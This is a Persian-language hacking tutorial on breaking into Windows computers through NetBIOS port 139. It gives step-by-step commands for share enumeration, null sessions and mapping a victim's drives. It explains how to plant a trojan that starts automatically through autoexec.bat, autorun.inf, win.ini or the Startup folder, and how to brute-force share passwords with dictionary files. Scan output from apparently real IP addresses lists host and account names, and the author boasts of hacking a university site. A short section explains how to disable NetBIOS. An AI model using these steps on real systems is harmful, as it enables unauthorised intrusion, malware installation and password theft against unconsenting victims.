- NetBIOS چیست؟
NetBIOS مخفف عبارت Network Basic
Input/Output System است. NetBIOS ابزاری است که اجازه به اشتراک گذاشتن منابع رو
به ما میده. ما برای به اشتراک گذاشتن فایلها و یا پرینتر میتونیم از این پروتکل
استفاده کنیم. نکته مهم این است که NetBIOS فقط در سیستمعامل ویندوز معنی داره
(اگرچه ابزارهایی مثل Samba در لینوکس میتونن اونو شبیه سازی کنن ولی بحث ما خود
پروتکل NetBIOS است). وقتی NetBIOS در ویندوز فعال باشد، بلافاصله سه تا پورت برای
استفاده باز میشوند. پورت مهم و اصلی پورت ۱۳۹ در tcp است که NetBIOS را هم با این
پورت میشناسن. دو پورت دیگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ برای name
service و پورت ۱۳۹ برای Datagram service . وقتی قرار باشه که یک سیستمعامل
ویندوز هک بشه ( خصوصا اگه کلاینت باشه ) یکی از اولین مواردی که به ذهن میرسه،
استفاده از NetBIOS ه.
حالا ببینیم منظور از به اشتراک گذاشتن (Sharing) در
مورد فایلها و پرینترها چیست؟
به اشتراک گذاشتن در مورد فایلها یعنی قرار
دادن تعدادی فایل در یک کامپیوتر خاص به طوریکه توسط سایر کامپیوترها قابل دسترسی و
استفاده باشه. در مورد پرینتر به اشتراک گذاشتن یعنی طوری چاپگر متصل به یک
کامپیوتر را تنظیم کنیم که توسط سایر کامپیوترها هم قابل استفاده باشه. با توجه به
اینکه در سیستمعاملهای ویندوز به صورت پیشفرض NetBIOS فعال است، پس میتوان به
تعدادی از فایلها و فولدرهای تعدادی از کامپیوترهای روی شبکه دسترسی داشت و
فایلها را خواند و حتی کپی یا پاک کرد.
- چگونه با
پورت ۱۳۹ صحبت کنیم؟
۱- اولین کاری که میکنیم این است که برای پورت
۱۳۹ پورت اسکن میکنیم تا ip هایی را که پورت ۱۳۹ در آنها باز است، پیدا کنیم. من
این کار را با nmap انجام میدم. فرض کنید که یک ip به شماره 217.218.84.29 را تست
کرده و به نتیجه زیر برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
این
خروجی اعلام میکند که پورت ۱۳۹ باز است. پس میشود از این ip استفاده
کرد.
۲- حالا میخوام با این پورت ارتباط برقرار کنم. اصولا باید مثل سابق
از telnet یا nc استفاده کنم ولی در مورد پورت ۱۳۹ روش ارتباطی فرق میکند. کامنت
پرامت را باز کرده و دستور زیر را مینویسم:
nbtstat -A 217.218.84.29
دستور nbtstat یک ابزار خاص برای کار با
NetBIOS است. دقت کنید که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat
دارای پارامترهای بسیاری است که اگه میخواین همه رو ببینین، بنویسین nbtstat و
enter را بزنید.)
حالا بحث اینه که این دستور چه کاری میکنه و خروجی به چه
صورتی است:
این دستور به ip مورد نظر وصل میشه و از اون میخواد لیست منابعی رو
که به اشتراک گذاشته رو لیست کنه. در این حالت ۲ حالت ممکنه اتفاق بیوفته:
الف)
مواجه با پیغام Host not found بشم. این یعنی اینکه نمیتونه لیست منابع را از اون
کامپیوتر بگیره (یعنی NetBIOS غیر فعاله). یعنی اگرچه پورت ۱۳۹ بازه ولی قابل
استفاده نیست.
ب) ارتباط برقرار بشه و لیست منابع اشتراکی لیست بشه:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
۳- در این نتایج چیزی که به درد
میخوره، سطری است که <20> دارد. اگه <20> نباشد، یعنی نمیتونین از
اشتراک گذاری فایل استفاده کنید ( به عبارت ساده تر بیخیال شو این کامپیوتر رو !
). در این مثال ما این سطر را داشتیم پس ادامه میدهیم. حالا مینویسم:
net view \\217.218.84.29
حالا اگه گفتین چی میشه؟ درسته! دو حالت
ممکنه اتفاق بیوفته:
الف) پیغام بیاد
System error 5 has occurred.
Access is denied.
این یعنی نمیتونین ادامه بدین. به عبارت دیگه ایست! ولی یه کاری میتونید
بکنید و اون اینه که یه null session برقرار کنید با اون کامپیوتر. این حالت در
مورد ویندوزهای سری NT جواب میده. مینویسید:
net use \\217.218.84.29\IPC$ "" /user:""
حالا چرا میگن
null session ؟ دلیلش اینه که یک ارتباط برقرار کردم با اون ip بدون username و
بدون password . حالا اگه این دستور جواب داد میتونم دوباره دستور
net view
\\217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب
بده:
Shared resources at \\217.218.84.29
Share name Type Used as Comment
------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
عالیه. دقت کنید که در این کامپیوتر یک فایل (Disk) به اسم
ShareDocs
به اشتراک گذاشته شده (دو تای باقی برای پرینتر است). حالا که رسیدم به این اسم
دیگه آخرین دستور را مینویسم.
۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن
رو انجام بدیم. برای اینکار باید یک درایو انتخاب کنید. حتما میدونید که درایو
چیه. وقتی شما My Computer را دابل کلیک کرده و باز میکنید، یک سری آیکون میبینید
که هر کدام اسمی دارند. مثلا :A برای فلاپی و و و تا میرسید به cdrom که آخرین
حرف را دارد. مثلا فرض کنید که :K باشه. حالا باید اسم درایو رو برای اشتراک گذاشتن
انتخاب کنید. برای اینکار حرف بعدی در زبان انگلیسی رو به کار ببرید. چون در
کامپیوتر من :K آخرین بود، من حرف بعدی یعنی :L را انتخاب میکنم و دستور زیر را
مینویسم:
net use L: \\217.218.84.29\SharedDocs
به اسم درایو، ip و نام
مربوطه که ShareDocs دقت کنید. چون من اصطلاحا به صورت null session دارم ارتباط
میگیرم، ممکنه کار نکنه ولی اگه درست کار کنه جواب میشنوم:
The command completed successfully.
معرکه است!!! حالا My Computer رو
باز کنید و ببینید که درایو جدید به لیست درایوها اضافه شده که میتونین مثل
درایوهای معمولی با اون کار کنید و فایل کپی کنید و ...
۵- وقتی کار تموم شد
میتونید درایو رو حذف کنید. برای اینکار میتونین روی درایو رایتکلیک کنید و
Disconnect را انتخاب کنید. و یا اینکه از دستور
net use /delete L:
استفاده کنید.
-
نکته نکته نکته۱- یه روش جالب به جای مرحله ۴ در بالا اینه که مثلا
در مرورگر یا در run بنویسید 217.218.84.29\\ که ip دارای اشتراک است و یا اینکه
تایپ کنید SharedDocsت\217.218.84.29\\ که اصولا باید جواب بده ( ولی من خودم تست
نکردم اینو ).
۲- من دارم به صورت استاندارد کار میکنم. بعدا خواهم گفت که
چطوری میتونیم وقتی تو بعضی از مراحل متوقف میشیم، اونو دور بزنیم.
۳- NetBIOS
فقط برای کلاینتها نیست. من خودم یکبار سایت دانشگاه رو با اون هک کردم. البته با
exploit کردن که بعدا خواهم گفت.
۴- اگه دارید یک کلاینت رو هک میکنید، باید
سریع عمل کنید تا قبل از اینکه طرف disconnect کنه کار شما تموم شده باشه.
۵-
روشهای دیگری هم برای کار با NetBIOS هست که یکی از اون روشها استفاده از یک سری
نرمافزارهای خاص است که تو درس بعدی توضیح میدم و نیز یک روش دیگه اعمال تغییرات
در فایلهای HOST و LMHOST و استفاده از find در سیستمعامل ویندوز است. ولی چون
این روش دنگ و فنگش زیاده، جالب نیست.
۶- برای اینکه بتونیم با NetBIOS کار
کنیم، علاوه بر اینکه در کامپیوتر طرف مقابل باید فعال باشه، روی کامپیوتر خودمون
هم فعال باشه. چون در حالت پیشفرض در کامپیوتر فعال است، معمولا مشکلی
نیست.
- چگونه NetBIOS را روی کامپیوتر خودمان فعال
یا غیر فعال کنیم؟برای
غیرفعال کردن NetBIOS در ویندوز با
توجه به نوع آن ویندوز روشهای مختلفی هست. جدول پایینی برای همین موضوع طراحی شده
است:
Win 2000 |
Win XP Home |
Win XP Professional |
Start > Programs > Administrative Tools >
Local Security Settings > Local Policies > Security Options >
Additional restrictions of anonymous connections > Local policy setting >
"No access without explicit anonymous permissions" > Ok |
|
Start > Programs > Administrative Tools >
Local Security Settings > Local Policies > 1) Network Access:
Do not allow anonymous enumeration of SAM accounts: Enabled 2) Network
Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled
|
Start > Run > regedit >
HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet
> Control > LSA > RestrictAnonymous=2 |
میتونید به کمک فایروال یا روتر
پورتهای زیر را ببندید:
135 TCP DCE/RPC Portmapper
137 TCP/UDP NetBIOS Name Service
138 TCP/UDP NetBIOS Datagram Service
139 TCP NetBIOS Session Service
445 TCP Microsoft-DS (Windows 2000 CIFS/SMB) |
۱-
وقتی پورت ۱۳۹ رو میبندید، دیگه نمیتونید از NetBIOS استفاده کنید ( مگر اینکه
دوباره پورت رو به صورت فعال در آورید). پس وقتی که کسی رو میخواهید هک کنید،
نیاز دارید که برای مدت کوتاهی دوباره پورت رو فعال کنید.
۲- میبینید که
مثلا برای ویندوز ۲۰۰۰ به سه روش کار کنید، در این جدول فقط کافی است یکی رو اعمال
کنید.
۳- اگه بعد از غیر فعال کردن، دوباره بخواهید فعال کنید، در مرحله آخر
هر یک از روشهای بالا، گزینهای که مخالف گزینه ذکر شده در جدول است رو انتخاب
کنید، مثلا اگه در جدول Enabled را نوشتهایم، شما Disable را انتخاب
کنید.
- چگونه از این امکانات به اشتراک گذاشتن، برای
اجرای یک تروجان روی کامپیوتر قربانی استفاده کنیم؟خوب ما هنوز
طریقه استفاده از تروجان رو یاد نگرفتیم ولی سعی میکنم تو یکی از درسهای آینده
اونو توضیح بدم. ما اینجا میخواهیم از تروجان در رابطه با پورت ۱۳۹ استفاده کنیم.
حالا سوال این است که تروجان (trojan) چیست؟
تروجان بهطور ساده برنامهای
اجرایی است، که ما برای طرف مقابل میفرستیم و اگه طرف مقابل اونو اجرا کنه، ما
میتونیم کنترل سیستم اونو به دست بیاریم. تا اینجا کافی است فعلا ولی بعدا بیشتر
توضیح میدم.
حالا همان بحث تروجان ولی در رابطه با پورت ۱۳۹ :
روش کار به
این صورت است که فرضا من الان تونستم یک درایو رو از یک کامپیوتر با پورت باز Share
کنم. حالا فایل تروجان ( سرور تروجان ) را upload میکنم به اون کامپیوتر و اسمی
براش انتخاب میکنم که طرف مقابل رو به اجرای فایل تشویق کنه. یک اشتباهی که
بعضیها میکنند اینه که بعد از کپی کردن تروجان در کامپیوتر هدف، خود هکر میآد و
فایل رو دابل کلیک میکنه، در این حالت تروجان روی کامپیوتر خودمون (هکر) اجرا
میشه نه کامپیوتر قربانی. پس ما فقط فایل رو میفرستیم و منتظر میمونیم که طرف
مقابل اجرا کنه.
حالا چند روش رو مطرح میکنم که در شرایط خاص حالتی رو
ایجاد میکنه که نیازی با دابلکلیک توسط قربانی نباشد:
۱- اگه به درایو C
کامپیوتر مقابل دسترسی دارید، یک سطر به فایل autoexec.bat اضافه کنید که نام و
مسیر فایل اجرایی را در اون سطر بنویسید. مثلا اگه اسم تروجان ali.exe باشد و در
مسیر d:\newfolder باشد، سطری که اضافه میکنیم به صورت زیر است:
d:\newfolder\ali.exe
در این حالت به محض اولین restart کامپیوتر، تروجان
اجرا خواهد شد.
۲- اگه به درایو C دسترسی دارید، میتونید فایلی به اسم
Autorun.inf ایجاد کنید و دستورات زیر را بنویسید ( سطر آخر مطابق با همان تروجان
فرضی که در مثال قبل گفتیم، نوشته شده است، اونو با توجه به اسم تروجان و مسیر اون
تغییر دهید) :
[autorun]
open=d:\newfolder\ali.exe
۳- اگه به فولدر ویندوز دسترسی دارید، میتونید یک
سطر مثل همان مثال قبل ولی برای فایل winstart.bat اجرا کنید. در این حالت هم به
محض restart اجرا خواهد شد.
۴- اگه به فولدر ویندوز دسترسی دارید، در فایل
win.ini و بعد از قسمتی که [windows] نوشته، این سطر رو اضافه کنید:
run=d:\newfolder\ali.exe
۵- اگه به فولدر ویندوز دسترسی دارید، میتونید
تروجان رو به فولدر Start Menu\Startup اضافه کنید. در این حالت نیازی به ویرایش
هیچ فایل دیگری نیست.
- ابزارهای کمکی: ۱- ابزارهای
خط فرمانی
۱- enum
:این برنامه را از
اینجا داونلود
کنید. enum نرمافزاری با قابلیتهای فوقالعاده است. از جمله تواناییهایی که
دارد، در مواردی است که کامپیوتر طرف مقابل برای اعمال sharing از ما پسورد بخواد.
در این موارد میتونیم به کمک enum و لیستی از پسوردهایی که در یک فایل ذخیره شده،
تعداد زیادی پسورد رو چک کنیم ( اصطلاحا cracking ) و شاید به نتیجه برسیم. ( این
موضوع را بعدا بیشتر توضیح مبدم) کاربردی که الان مد نظر ماست، پیدا کردن لیست
share هایی است که کامپیوتر مقابل برای ما باز گذاشته است. مثلا من دستور زیر را
تایپ کردم، تا لیست اشتراکهای آن ip خاص در آن لحظه رو بدست بیارم:
enum -S 217.218.84.29
و جواب شنیدم:
server: 217.218.84.29
setting up session... success.
enumerating shares (pass 1)... got 10 shares, 0 left:
E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer
cleaning up... success.
ملاحظه میفرمایید که درایوهای E و D و F و C و نیز
SharedDocs و ... لیست شده است. بقیه مراحل مثل درس ۲۱ است. (دقت کنید که در این
حالت نیازی به null session نیست ).
۲- nbtscan :این برنامه را
از
اینجا داونلود
کنید. این برنامه دقیقا معادل nbtstat است ولی با این تفاوت که میتونه تعداد زیادی
ip رو همزمان تست کنه و لیست share ها رو بدست بیاره. این دقیقا راهحلی است برای
سوالی که خیلی از شما دوستان پرسیده بودین. مثلا اگه بنویسم:
nbtscan -v -s : 195.219.49.0-30
که لیست اشتراکها رو از ip
شماره 195.219.49.0 تا 195.219.49.30 بدست میاره. جواب میشنوم:
195.219.49.1 Recvfrom failed: Connection reset by peer
195.219.49.5 Recvfrom failed: Connection reset by peer
195.219.49.6 Recvfrom failed: Connection reset by peer
195.219.49.7 Recvfrom failed: Connection reset by peer
195.219.49.8 Recvfrom failed: Connection reset by peer
195.219.49.12 Recvfrom failed: Connection reset by peer
195.219.49.23:MRS.ZADE :00U
195.219.49.23:ATINET_MRA :00G
195.219.49.23:MRS.ZADE :03U
195.219.49.23:MAC:44-45-53-54-00-00
195.219.49.28:MAC:44-45-53-54-00-00
195.219.49.26:KIYARASH-R96L0K:00U
195.219.49.26:KIYARASH-R96L0K:20U
195.219.49.26:WORKGROUP :00G
195.219.49.26:WORKGROUP :1eG
195.219.49.26:MAC:00-53-45-00-00-00
195.219.49.22:FARHANG-ZCT780D:00U
195.219.49.22:FARHANG-ZCT780D:20U
195.219.49.22:WORKGROUP :00G
195.219.49.22:WORKGROUP :1eG
195.219.49.22:MAC:00-53-45-00-00-00
195.219.49.29:TESSA :00U
195.219.49.29:WORKGROUP :00G
195.219.49.29:TESSA :03U
195.219.49.29:MAC:44-45-53-54-00-00
195.219.49.25:MAC:44-45-53-54-00-00
در مورد ip هایی که 20U را میبینید،
یعنی sharing رو میشه استفاده کرد.
۳- winfo :اینم از جمله
برنامههایی است که باید بگم آخر برنامه است!! از
اینجا داونلود کنید. البته
توانایی تست تعداد زیادی ip رو نداره ولی وقتی یه ip رو تست میکنه همهچی شو در رو
میکنه. (البته میشه گفت همه این کارها رو میشه با enum هم انجام داد ). مثلا من
دستور زیر را تایپ کردم :
winfo 195.219.49.184 -n -v
و به نتایج زیر رسیدم:
Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
- http://www.ntsecurity.nu/toolbox/winfo/
Trying to establish null session...
Null session established.
SYSTEM INFORMATION:
- OS version: 4.0
DOMAIN INFORMATION:
- Primary domain (legacy): DSG
- Account domain: TEHRAN
Warning: Unable to retrieve domain DNS information.
Reason : Not supported by the remote OS.
PASSWORD POLICY:
- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters
LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0
SESSIONS:
- Computer: ARTAWILL-V0P1QR
- User:
LOGGED IN USERS:
* Administrator
USER ACCOUNTS:
* Administrator
- Password age: 666 days
- Privilege level: Administrator
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for administering the computer/domain
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
- Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in administrator account)
* Guest
- Password age: 680 days
- Privilege level: Guest
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for guest access to the computer/domain
- Account is: Disabled
- User can change password: No
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in guest account)
* TEST
- Password age: 680 days
- Privilege level: User
- Home directory:
- Home directory mapped as:
- Comment:
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: No
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: Yes
WORKSTATION TRUST ACCOUNTS:
INTERDOMAIN TRUST ACCOUNTS:
SERVER TRUST ACCOUNTS:
SHARES:
* ADMIN$
- Type: Special share reserved for IPC or administrative share
- Remark: Remote Admin
* IPC$
- Type: Unknown
- Remark: Remote IPC
* C$
- Type: Special share reserved for IPC or administrative share
- Remark: Default share
بعدا سعی خواهم کرد که در مورد تک تک اینها بحث
کنم براتون. ولی به عنوان مثال در آخرها میتونین، share ها رو
ببینید.
۴- NAT :این برنامه را از
اینجا
داونلود کنید. یکی از مهمترین کاربردهای اون crack کردن پسورد sharing است ( مثل
enum ). برای کار با NAT کافی است، بنویسید nat و بعد یک فاصله و بعد ip را
مینویسیم. حتما تست کنید و نتیجه رو ببینید... ( تکلیف برای خودتون )
۵-
و ...- ابزارهای کمکی: ۲- ابزارهای
گرافیکی۱- netbrute :این برنامه را از
اینجا داونلود کنید. من
از بین ابزارهای گرافیکی اینو توصیه میکنم اگرچه به اندازه دو نرمافزار بعدی
مشهور نیست. من نمیخوام روش کار با اینو توضیح بدم چون خیلی تابلو ه! ضمنا این
نرمافزار داخل خودش یک پورت اسکنر هم داره که خیلی به درد میخوره. حتما حتما حتما
داونلود کنید اینو و اونقدر انگولکش کنید که سر در بیارین ازش. قرار نیست که
همیچی رو من بهتون بگم !!
۲- Legion :اگه بگم مشهورترین
نرمافزار اسکن کردن پورت ۱۳۹ این نرمافزاره، سخن گزافی نیست!! خیلیها کشته مرده
اون هستن ولی من زیاد ازش خوشم نمیآد. اما باید قبول کرد که کارش واقعا عالیه!!!
به هر حال اگه خواستین داوللود کنید،
اینجا رو
کلیک کنید.
۳- DumpSec یا DumpACL :این هم خیلی معروفه. اگه
خواستین میتونین از
اینجا داونلود
کنید.
- آیا چیز دیگهای راجع به این پورت مونده که
بحث نشده باشد؟بله!
۱- یه نرمافزاری هست به اسم pqwak که
اینطوری که میگن، اگه کامپیوتر مقابل ویندوز ۹۸ باشه، میتونه پسورد اونو سه سوت
در بیاره. ( این برنامه از نقطه ضعف ویندوز ۹۸ راجع به netbios استفاده میکنه و
اونو exploit میکنه) چون من درسم راجع به هک کردن سرورهاست و نه کلاینت، پس نباید
زیاد به درد ما بخوره ( توجه کنید که ویندوز ۹۸ تو کار کلاینتاش هم مونده، چه برسه
به اینکه سرور باشه! ). خودتون بگردین و اونو اگه میخواین پیدا کنید.
۲- ما بحث
استفاده از نقاط ضعف پورتها رو هنوز شروع نکردهایم و در مورد پورت ۱۳۹ هم
همینطوره. به عنوان مثال روشهایی هست که پورت ۱۳۹ رو exploit کنیم و اون مراحلی که
توش گیر میکردیم رو دور بزنیم.
- نکاتی راجع به
enumخوب قبلا گفتم که enum نرمافزار بسیار مهمی در ارتباط با پورت
۱۳۹ است. حالا میخوام دو کاربرد خاص از اونو براتون توضیح بدم:
۱- گرفتن
password policy information :
در ویندوزهای NT میشود یک سری پارامتر رو برای
پسوردها ست کرد. مثلا اینکه حداقل طول پسورد و حداکثر اون چقدر باشه و ... برای
اینکه این policy رو بدست بیارید، از سویچ P استفاده میکنیم. مثلا مینویسیم:
enum -P xxx.xxx.xxx.xxx
و جواب میشنوم:
server: xxx.xxx.xxx.xxx
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.
خودتون که دارین میبینین!
۲- استفاده از روش
cracking برای پیدا کردن پسورد:
اگه با NetBIOS کار کرده باشید، حتما دیدید که
بعضی وقتها (خصوصا در مورد سرورها) پسورد از ما سوال میشه. (پسورد وقتی پرسیده
میشه که بخواهیم، مرحله ۴ رو از بالا انجام بدیم). وقتی پسورد نداشته باشید، کاری
نمیتونید بکنید. پس ما کاری که میکنیم، اینه که یک سری پسورد را توسط enum تست
میکنیم که یکی جواب بده - یا اینکه نده !
اصولا تست کردن تعداد زیادی پسورد
برای پیدا کردن پسورد درست رو crack کردن پسورد به روش brute force یا bf میگن (
این bf رو با اون bf اشتباه نگیرید!! ). البته استفاده از روش bf مختص NetBIOS نیست
و خیلی جاها استفاده میشه. اینم بگم که استفاده از روش bf یه کمی کلاس کار شما رو
به عنوان هکر پایین میاره...
حالا چیری میخوایم، یک فایل بزرگ از پسوردهایی است
که معمولا مردم استفاده میکنن. برای پیدا کردن این فایلها که اصطلاحا dictionary
file نامیده میشوند به صورت زیر است:
الف) استفاده از دیکشنریهای آماده مثل
The Argon که مشهورترین دیکشنری
کرکینگ میباشد با حجمی حدود ۲۴ مگابایت!
ب) بعضی وقتها خودمون میخواهیم یه
دیکشنری بسازیم، در این موارد کاری که میکنیم اینه که از نرمافزارهای سازنده
دیکشنری استفاده میکنیم. مثلا وقتی که شما میدونید که فلانی از پسوردهای ۸ حرفی
استفاده میکنه و ... برای اینکار نرمافزارهای زیادی هست که چند نمونه مهمش
عبارتند از:
DCM 2.0 و
DICTIONARY MAKER
و
PASSLIST.TXT GENERATOR و
...
حالا که یه فایل دیکشنری دارم میتونم کار کرک پسورد NetBIOS رو شروع
کنم. فرض کنید که وقتی میخوام Ali رو در یک ip به شماره xxx.xxx.xxx.xxx رو با یک
فایل دیکشنری به اسم theargon.lst کرک کنیم. دستوری که برای اینکار استفاده
میکنیم، اینه:
enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx
حالا
enum میاد و تمام پسوردها رو تست میکنه تا ایشالله به جواب برسه!
اینقدر که از
enum تعریف کردم دیگه بسه! مشکلی که enum راجع به کرک پسورد داره اینه که خیلی کند
کار میکنه. ممکنه ساعتها وقت لازم باشه. راهحل چیه؟
- راه حل برای سرعت بخشیدن کرک کردن پسورد
NetBIOSراهحل اینه که اصلا از enum استفاده نکنید. برای کرک پسورد
NetBIOS سعی کنید از نرمافزار
SMB
Auditing Tool استفاده کنید. در عرض چند دقیقه کار تموم میشه! دلیلش هم اینه که
این نرمافزار از یک bug استفاده میکنه که اجازه میده تعداد زیادی پسورد رو در یک
لحظه تست کنید. اینم بگم که این نرمافزار مخصوص سیستمعامل لینوکس و یونیکسه. (من
این فایل رو چند وقت پیش داونلود کردم. امروز که تست کردم لینک جواب نداد. اگه چند
روز آینده هم جواب نده، فایل خودم رو upload میکنم که از far30.com
بگیریدش)